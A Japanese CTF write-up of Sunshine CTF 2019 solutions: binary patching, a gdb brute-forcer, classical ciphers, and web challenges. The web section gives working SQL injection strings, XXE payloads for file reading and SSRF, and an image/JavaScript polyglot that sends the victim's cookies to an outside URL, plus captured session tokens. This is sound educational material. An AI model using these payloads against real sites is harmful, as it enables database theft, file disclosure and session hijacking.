3 月 30 日から 4 月 1 日にかけて開催された Sunshine CTF 2019 に、チーム zer0pts で参加しました。最終的にチームで 3255 点を獲得し、順位は得点 464 チーム中 10 位でした。うち、私は 11 問を解いて 1555 点を入れました。
他のメンバーの write-up はこちら。
以下、私が解いた問題の write-up です。
That moment when you go for a body slam and you realize you jump too far. Adjust your aim, and you’ll crush this challenge!
添付ファイル: patches
patches
がどのようなファイルか file
で確認してみましょう。
>file patches
patches: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4c73701f73d24817059a9878e13be44803352270, not stripped
x86 の ELF のようです。Freeware 版の IDA で逆アセンブルしてみましょう。
︙
mov [ebp+var_10], 1
cmp [ebp+var_10], 0
jnz short loc_5A3
︙
loc_5A3:
sub esp, 0Ch
lea edx, (aWoahThereYouJu - 1FD8h)[eax] ; "Woah there! you jumped over the flag."
push edx
mov ebx, eax
call _printf
add esp, 10h
︙
var_10
に 1
を代入した後に var_10
と 0
を比較してジャンプするという、よくわからない処理を行っています。バイナリにパッチを当てて mov [ebp+var_10],1
を mov [ebp+var_10],0
にして実行するとフラグが得られました。
$ ./patches_
Hurray the flag is sun{To0HotToHanDleTo0C0ldToH0ld!}
sun{To0HotToHanDleTo0C0ldToH0ld!}
We discovered this old CD from the 90s in our attic. It looks like it used to register you to a WWE betting community back in the day, but we seem to have lost the access code. Can you get us in?
添付ファイル: WrestleOfMania
WrestleOfMania
がどのようなファイルか file
で確認してみましょう。
>file WrestleOfMania
WrestleOfMania: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cd9f46bd20fbe7751d41bb4cf8fae433ff59d63f, not stripped
x86 の ELF のようです。Ghidra でデコンパイルしてみましょう。
int main(int argc,char **argv)
{
︙
if (pcVar1 == (char *)0x0) {
puts("ERROR: Access code not recognized.");
uVar3 = 0xffffffff;
}
else {
iVar2 = checkAccessCode(local_33);
if (iVar2 == 1) {
puts("Thank you for registering!");
}
else {
puts("ERROR: Access code invalid.");
}
uVar3 = 0;
}
︙
}
main
ではまずユーザに文字列を入力させた後、これを checkAccessCode
に投げて、この返り値が 1
であれば Thank you for registering!
と出力しているようでした。
uint checkAccessCode(EVP_PKEY_CTX *param_1)
{
︙
process(param_1,&local_88);
sig = &stack0xffffff74;
prepare(param_1);
local_10 = verify(param_1,sig,(size_t)siglen,tbs,local_8c);
format(param_1,&stack0xffffff74);
iVar1 = checkResult(local_8c);
return (uint)(iVar1 == 1);
︙
}
checkAccessCode
では process
prepare
などのよくわからない関数でユーザ入力を加工し、最後に加工された文字列を checkResult
に投げています。
int checkResult(int param_1)
{
︙
while( true ) {
if (0x1d < local_10) {
return 1;
}
if (local_88[local_10] != *(int *)(param_1 + local_10 * 4)) break;
local_10 = local_10 + 1;
}
return 0;
}
checkResult
では 1 文字ずつチェックを行っているようです。これを利用して、1 文字ずつ総当たりをする gdb 向けのスクリプトを書いてみましょう。
# gdb -n -q -x solver.py ./WrestleOfMania
import gdb
import re
import string
gdb.execute('set pagination off')
gdb.execute('b *(checkResult+0x4e)', to_string=True)
l = 30
key = ''
for i in range(l):
for c in string.printable.strip():
tmp = (key + c).ljust(l, 'A')
with open('input', 'wb') as f:
f.write(tmp)
gdb.execute('r < input', to_string=True)
for _ in range(i):
gdb.execute('c' ,to_string=True)
res = gdb.execute('p $eax == $edx', to_string=True)
if '= 1' in res:
key += c
break
print '[+]', key
gdb.execute('continue', to_string=True)
gdb.execute('quit')
$ gdb -n -q -x solver.py ./WrestleOfMania
︙
[+] sun{Hu1k4MaN1a-ruNs-W1l4-0n-U}
Please enter your access code: Thank you for registering!
フラグが得られました。
sun{Hu1k4MaN1a-ruNs-W1l4-0n-U}
I’ve stored all of my wrestling strategies in a state-of-the-art secret vault. I even wrote it in nodeJS, can’t get more cutting edge than that!
添付ファイル: Strategy_Vault-win.exe
Strategy_Vault-win.exe
がどのようなファイルか file
で確認してみましょう。
>file Strategy_Vault-win.exe
Strategy_Vault-win.exe: PE32+ executable (console) x86-64, for MS Windows
64 ビットの PE ファイルのようです。とりあえず実行してみましょう。
>Strategy_Vault-win.exe
/$$$$$$ /$$ /$$ /$$ /$$ /$$ /$$
/$$__ $$ | $$ | $$ | $$ | $$ | $$ | $$
| $$ \__//$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$ | $$ | $$ /$$$$$$ /$$ /$$| $$ /$$$$$$
| $$$$$$|_ $$_/ /$$__ $$|____ $$|_ $$_/ /$$__ $$ /$$__ $$| $$ | $$ | $$ / $$/|____ $$| $$ | $$| $$|_ $$_/
\____ $$ | $$ | $$ \__/ /$$$$$$$ | $$ | $$$$$$$$| $$ \ $$| $$ | $$ \ $$ $$/ /$$$$$$$| $$ | $$| $$ | $$
/$$ \ $$ | $$ /$$| $$ /$$__ $$ | $$ /$$| $$_____/| $$ | $$| $$ | $$ \ $$$/ /$$__ $$| $$ | $$| $$ | $$ /$$
| $$$$$$/ | $$$$/| $$ | $$$$$$$ | $$$$/| $$$$$$$| $$$$$$$| $$$$$$$ \ $/ | $$$$$$$| $$$$$$/| $$ | $$$$/
\______/ \___/ |__/ \_______/ \___/ \_______/ \____ $$ \____ $$ \_/ \_______/ \______/ |__/ \___/
/$$ \ $$ /$$ | $$
| $$$$$$/| $$$$$$/
\______/ \______/
***********************Options: ***********************
1. List Files
2. Print File Contents
3. Exit
Selection : 1
*************************************************************
**************************FILES******************************
*************************************************************
C:\snapshot\source/files/costume_shops.txt
C:\snapshot\source/files/finishing_moves.txt
C:\snapshot\source/files/flag.txt
C:\snapshot\source/files/sourcing_weapons.txt
C:\snapshot\source/files/weapons.txt
*************************************************************
**************************FILES******************************
*************************************************************
***********************Options: ***********************
1. List Files
2. Print File Contents
3. Exit
Selection : 2
*************************************************************
************************READ FILES***************************
*************************************************************
Which file would you like to read:
1. costume_shops.txt
2. finishing_moves.txt
3. flag.txt
4. sourcing_weapons.txt
5. weapons.txt
*************************************************************
************************READ FILES***************************
*************************************************************
File number: 5
File contents:
____ _ __ __
| _ \ | | \ \ / / _
| |_) | ___ ___| |_ \ \ /\ / /__ __ _ _ __ ___ _ __ ___(_)
| _ < / _ \/ __| __| \ \/ \/ / _ \/ _` | '_ \ / _ \| '_ \/ __|
| |_) | __/\__ \ |_ \ /\ / __/ (_| | |_) | (_) | | | \__ \_
|____/ \___||___/\__| \/ \/ \___|\__,_| .__/ \___/|_| |_|___(_)_
/_ | | ____| | (_) | | / ____| | (_)
| | | |__ | | __ _ _ __ ___ _ _ __ _|_| | | | |__ __ _ _ _ __
| | | __| | |/ _` | '_ ` _ \| | '_ \ / _` | | | | '_ \ / _` | | '__|
| |_ | | | | (_| | | | | | | | | | | (_| | | |____| | | | (_| | | |
|_(_) |_|____|_|\__,_|_| |_| |_|_|_| |_|\__, | \_____|_| |_|\__,_|_|_| _ _
|__ \ | ____| | __/ | | | | _ \ | | |
) | | |__ | |_ _ ___ _ __ ___ |___/___ ___ _ __ | |_ | |_) |_ _| | |__ ___
/ / | __| | | | | |/ _ \| '__/ _ \/ __|/ __/ _ \ '_ \| __| | _ <| | | | | '_ \/ __|
/ /_ _ | | | | |_| | (_) | | | __/\__ \ (_| __/ | | | |_ | |_) | |_| | | |_) \__ \
|____(_) |_|__ |_|\__,_|\___/|_| _\___||___/\___\___|_| |_|\__|_|____/ \__,_|_|_.__/|___/
|___ \ | _ \ | | \ \ / (_) | _ \ | |
__) | | |_) | __ _ _ __| |__ \ \ /\ / / _ _ __ ___ | |_) | __ _| |_
|__ < | _ < / _` | '__| '_ \ \ \/ \/ / | | '__/ _ \ | _ < / _` | __|
___) | | |_) | (_| | | | |_) | \ /\ / | | | | __/ | |_) | (_| | |_
|____(_) |____/ \__,_|_| |_.__/ \/__\/_ _|_|_| \___| |____/ \__,_|\__|
| || | | |/ / | | / ____| | (_) | |
| || |_ | ' / ___ _ __ __| | ___ | (___ | |_ _ ___| | __
|__ _| | < / _ \ '_ \ / _` |/ _ \ \___ \| __| |/ __| |/ /
| |_ | . \ __/ | | | (_| | (_) | ____) | |_| | (__| <
|_(_) |_|\_\___|_| |_|\__,_|\___/ |_____/ \__|_|\___|_|\_\
***********************Options: ***********************
1. List Files
2. Print File Contents
3. Exit
Selection : 2
*************************************************************
************************READ FILES***************************
*************************************************************
Which file would you like to read:
1. costume_shops.txt
2. finishing_moves.txt
3. flag.txt
4. sourcing_weapons.txt
5. weapons.txt
*************************************************************
************************READ FILES***************************
*************************************************************
File number: 3
File contents:
You do not have permission to view this file
***********************Options: ***********************
1. List Files
2. Print File Contents
3. Exit
Selection : 3
weapons.txt
はちゃんと表示してくれましたが、flag.txt
を表示しようとすると権限がないと言われてしまいました。
バイナリエディタで Strategy_Vault-win.exe
を開いて weapons.txt
を検索してみると、以下のような文字列が見つかりました。
["costume_shops.txt","finishing_moves.txt","flag.txt","sourcing_weapons.txt","weapons.txt"]
ファイルの配列のようです。以下のように適当なひとつを flag.txt
に変えてしまいましょう。
["flag.txt", "finishing_moves.txt","flag.txt","sourcing_weapons.txt","weapons.txt"]
保存して実行します。
>Strategy_Vault-win_patched.exe
︙
*************************************************************
************************READ FILES***************************
*************************************************************
Which file would you like to read:
1. flag.txt
2. finishing_moves.txt
3. flag.txt
4. sourcing_weapons.txt
5. weapons.txt
*************************************************************
************************READ FILES***************************
*************************************************************
File number: 1
File contents:
sun{n0d3j5_15_7h3_wh0l3_p4ck463}
フラグが得られました。
sun{n0d3j5_15_7h3_wh0l3_p4ck463}
WrestlerBook is the social network for wrestlers, by wrestlers. WrestlerBook is exclusively for wrestlers, so if you didn’t get an invite don’t even bother trying to view our profiles.
http://bk.sunshinectf.org
与えられた URL にアクセスすると、ユーザ名とパスワードを入力できるログインフォームが表示されました。ユーザ名に ' or 1;#
でログインしてみるとハルクホーガンのプロフィールが表示されました。どうやら SQLi ができるようです。
' union select 1, 2, 3, 4, 5;#
を入力すると以下のようなエラーが表示されました。
Warning: SQLite3::query(): Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns in /var/www/html/login.php on line 19
Fatal error: Uncaught Error: Call to a member function fetchArray() on boolean in /var/www/html/login.php:20 Stack trace: #0 {main} thrown in /var/www/html/login.php on line 20
SQLite3 のようです。' union select group_concat(sql), 2, 3, 4, 5, 6, 7, 8 from sqlite_master;#
を入力すると以下のように users
の構造が得られました。
CREATE TABLE `users` (
`username` TEXT,
`password` TEXT,
`avatar` TEXT,
`age` INTEGER,
`name` TEXT,
`title` TEXT,
`flag` TEXT,
`id` INTEGER PRIMARY KEY AUTOINCREMENT
),CREATE TABLE sqlite_sequence(name,seq)
' union select group_concat(flag), 2, 3, 4, 5, 6, 7, 8 from users;#
でフラグが得られました。
Username: …,sun{ju57_4n07h3r_5ql1_ch4ll},…
sun{ju57_4n07h3r_5ql1_ch4ll}
Even better than the Wu-Tang name generator, legend has it that Hulk Hogan used this app to get his name.
http://ng.sunshinectf.org
与えられた URL にアクセスすると、以下のような HTML が返ってきました。
︙
<form>
<div class="form-group">
<label style="color:white" for="exampleFormControlInput1">First Name</label>
<input type="email" class="form-control" id="firstName" placeholder="First">
</div>
<div class="form-group">
<label style="color:white" for="exampleFormControlInput1">Last Name</label>
<input type="email" class="form-control" id="lastName" placeholder="Last">
</div>
<div class="form-group">
<label style="color:white" for="exampleFormControlSelect1">Weapon of Choice</label>
<select class="form-control" id="weapon">
<option>Steel Chair</option>
<option>Flaming Table</option>
<option>Barb Wire Bat</option>
<option>Ladder</option>
<option>Thumbtacks</option>
</select>
</div>
</form>
<button id="button" class="btn btn-primary" type="submit">Get Wrestler Name</button>
<script>
document.getElementById("button").onclick = function() {
var firstName = document.getElementById("firstName").value;
var lastName = document.getElementById("lastName").value;
var input = btoa("<?xml version='1.0' encoding='UTF-8'?><input><firstName>" + firstName + "</firstName><lastName>" + lastName+ "</lastName></input>");
window.location.href = "/generate.php?input="+encodeURIComponent(input);
};
</script>
︙
フォームを送信すると generate.php
に XML が投げられるようです。XXE を利用した攻撃ができないか試してみましょう。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE input [<!ENTITY h SYSTEM "php://filter/convert.base64-encode/resource=generate.php">]><input><firstName>&h;</firstName><lastName>neko</lastName></input>
を投げてみると generate.php
のソースコードが得られました。
<?php
$whitelist = array(
'127.0.0.1',
'::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
echo $_ENV["FLAG"];
return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
echo "Please include the 'input' get parameter with your request, Brother";
return;
}
// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml->lastName;
// generate name
$nouns = array("Killer", "Savage", "Stallion", "Coder", "Hacker", "Slasher", "Crusher", "Barbarian", "Ferocious", "Fierce", "Vicious", "Hunter", "Brute", "Tactician", "Expert");
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' "The '.$noun.'" '.$lastName;
// return html for the results page
echo <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
<title>Wrestler Name Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>
<div class="jumbotron text-center">
<h1>Your Wrestler Name Is:</h1>
<h2>$generatedName</h2>
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
<a href="/">Go Back</a>
</div>
</body>
</html>
EOT;
?>
127.0.0.1
もしくは ::1
からのアクセスであればフラグが表示されるようです。XXE を利用して SSRF を行います。
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE input [<!ENTITY h SYSTEM "http://localhost/generate.php">]><input><firstName>&h;</firstName><lastName>neko</lastName></input>
を投げるとフラグが得られました。
sun{1_l0v3_hulk_7h3_3x73rn4l_3n717y_h064n}
Check out my development portfolio! I’m just getting started, so don’t be too mean :(
http://folio.sunshinectf.org
与えられた URL にアクセスすると、以下のようなリンクのリストが表示されました。
︙
<h2> Projects </h2>
<ul>
<li><a href="/hello/name">Custom greeting</a></li>
<li><a href="/render.html">Dynamic page rendering</a></li>
</ul>
︙
HTTP レスポンスヘッダには Server: Werkzeug/0.15.1 Python/3.7.2
とあり、Flask 製であることが推測できます。
/app.py
にアクセスするとフラグが得られました。
from flask import Flask, session, redirect, url_for, request, render_template, render_template_string
import requests
from datetime import datetime
app = Flask(__name__, static_url_path='',static_folder='')
app.secret_key = '20f75e46-4d3a-452d-ae10-96d1b45d2428'
app.config["FLAG"] = "sun{5l33333p_15_f0r_7h3_w34k}"
app.config["DEBUG"] = False
@app.route('/hello')
@app.route('/hello/<user>')
def hello_world(user=None):
user = user or ''
return render_template('hello.html', user=user)
@app.route('/')
def index():
return app.send_static_file("index.html")
@app.route("/render", methods=["POST"])
def render_template_endpoint():
data = request.form
template = request.form["template"]
if ".py" in template or "app" in template:
template = "index.html"
template = requests.get("http://127.0.0.1:5000/" + template).text
return render_template_string(template)
@app.route("/render", methods=["OPTIONS"])
def render_options():
return "testing"
@app.route('/templates/matches.html')
def matches():
return app.send_static_file("templates/matches.html")
@app.route('/templates/teams.html')
def teams():
return app.send_static_file("templates/teams.html")
@app.route('/templates/admin.html')
def admin():
return app.send_static_file("templates/admin.html")
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
sun{5l33333p_15_f0r_7h3_w34k}
These photos are The Best There Is, The Best There Was and The Best There Ever Will Be. Give me your photos I’ll EXAMINE if they meet the bar.
http://img.sunshinectf.org
与えられた URL にアクセスし、適当なユーザ名で登録、ログインすると画像のアップロードができるようになりました。
適当な画像をアップロードするとその画像の EXIF 情報等が表示されましたが、ソースを見るとなんだかおかしなことをしていることが分かります。
︙
<img src="/media/0ef50f99-fc63-41ef-8b65-c14be1b94c4b"></img>
<script charset="ISO-8859-1" src='/media/0ef50f99-fc63-41ef-8b65-c14be1b94c4b'></script>
︙
アップロードした画像を JavaScript のコードとして読み込み実行しています。普通の画像であれば Syntax Error で落ちるだけですが、画像と JavaScript の polyglot を作ることができれば XSS (?) ができそうです。
画像はビットマップファイルでもよいようなので、まず以下のように BM/*(ヘッダ)*/=1;(スクリプト)/*(パディング)*/
のような内容のビットマップファイルを出力してくれるスクリプトを書きます。
HEADER = b'\x42\x4D\x2F\x2A\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00\x00\x00\x32\x00\x00\x00\x32\x00\x00\x00\x01\x00\x18\x00\x00\x00\x00\x00\xB0\x1D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
SCRIPT = b'''*/=1;
alert('XSS');
/*'''
with open('result.bmp', 'wb') as f:
f.write(HEADER)
f.write(SCRIPT)
f.write(b'A' * (7652 - (len(HEADER) + len(SCRIPT))) + b'*/')
alert('XSS')
を (new Image).src = '(適当な URL)' + encodeURIComponent(document.cookie);
に書き換え、実行して出力された画像をアップロードすると以下のようなアクセスが来ました。
csrftoken=sWmwkUEiWZy8YGOpMuYdiniD65Ytxwivpo5Z58d456S5IPLUXPuQ8raThoo4iXMG; flag=SUN{why_bo0ther_with_ex1f}; jwtsess=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGhlcm9jayIsInNpZyI6Imh0dHA6Ly9uZ2lueC9zdGF0aWMvc2VjcmV0LmtleSIsInJvbGUiOiJ1c2VyIn0.GyJM1uu-079ZjNPS4eeTPJ2kqoNPO6WXQknMlTP03gs
フラグが得られました。
SUN{why_bo0ther_with_ex1f}
We picked up a new numbers station that’s been active in the shortwave bands. We need to figure out how to crack his code.
Here’s an example file, crack the cipher and send us the plaintext message.
添付ファイル: CB1.wav
私が問題を確認した時点で、ふるつきさんが音声はフォネティックコードであることを見抜き、yoshiking さんがアルファベットでの書き起こしをされていました。
HKCGXKZNKOJKYULSGXIN
をシーザー暗号として右に 20 シフトするとフラグが得られました。
BEWARETHEIDESOFMARCH
That numbers station is still active, they’ve just switched codes. We need you to crack it before they switch again.
Here’s an example file, crack the cipher and send us the plaintext message.
添付ファイル: CB2.wav
私が問題を確認した時点で、yoshiking さんが音声をアルファベットで書き起こされ、暗号文が DBDAABEDDDDCDEACADBBDDADDEABBB
であることが分かっていました。
暗号文の性質を見ていきましょう。暗号文が 5 文字だけで表現でき、文字数が偶数になる暗号化方式といえばポリュビオスの暗号表です。が、鍵は一体なんなんでしょう。
ABCDE
→ 12345
に置換し Polybius Square Cipher - Decoder, Encoder, Solver, Translator でブルートフォースしてみると、POLY
から始まるような平文が複数ありました。平文が POLYSQUARE
から始まると推測し、そのように変換されるようなテーブルを逆算してみましょう。DBDAABEDDDDCDEACADBB
が POLYSQUARE
に変換されるように配置すると以下のようになりました。
? L A R ?
? E ? ? ?
? ? ? ? ?
O P Q S U
V W X Y Z
適当に埋めて、以下のようなテーブルでフラグが得られました。
C L A R B
D E F G H
I J K M N
O P Q S U
V W X Y Z
polysquaresrule
The number station has switched codes yet again. This one seems similar to the last cipher used, but we still haven’t been able to crack it.
Here’s an example file, crack the cipher and send us the plaintext message.
添付ファイル: CB3.wav
音声をアルファベットに書き起こすと、暗号文が XDXGFVVVXXAFVFFVADGDDXAGAAFDFFFF
であることが分かりました。
出現している文字は ADFGVX
の 6 文字だけであることと、問題文の This one seems similar to the last cipher used
という一文から、ADFGVX 暗号が使われていることは推測できます。
しかしながら、ADFGVX 暗号が使われた暗号文を復号するには換字表と鍵の両方を入手する必要があります。ここで悩んでいると、ptr-yudai さんが添付ファイルの最初で言われている単語 (prideful
priceful
fightful
のいずれか) が鍵になっているのではという推測を出されました。
この推測をもとに、換字表はシャッフルされていないと推測して abcdefghijklmnopqrstuvwxyz0123456789
に、鍵を prideful
に復号するとフラグが得られました。
g3rm4n3ncrypt10n
I heard there’s a new bout going on in some new arena. It sounded like the arena’s name was “Disboard”. ¯(ツ)/¯.
Better go check it out!
Flag is in the banner of the #lobby channel
公式の Discord サーバに接続して #lobby
チャンネルを閲覧すると、トピックにフラグが設定されていました。
sun{w3lcom3_t0_d1Sc0RdM4n1A!!!}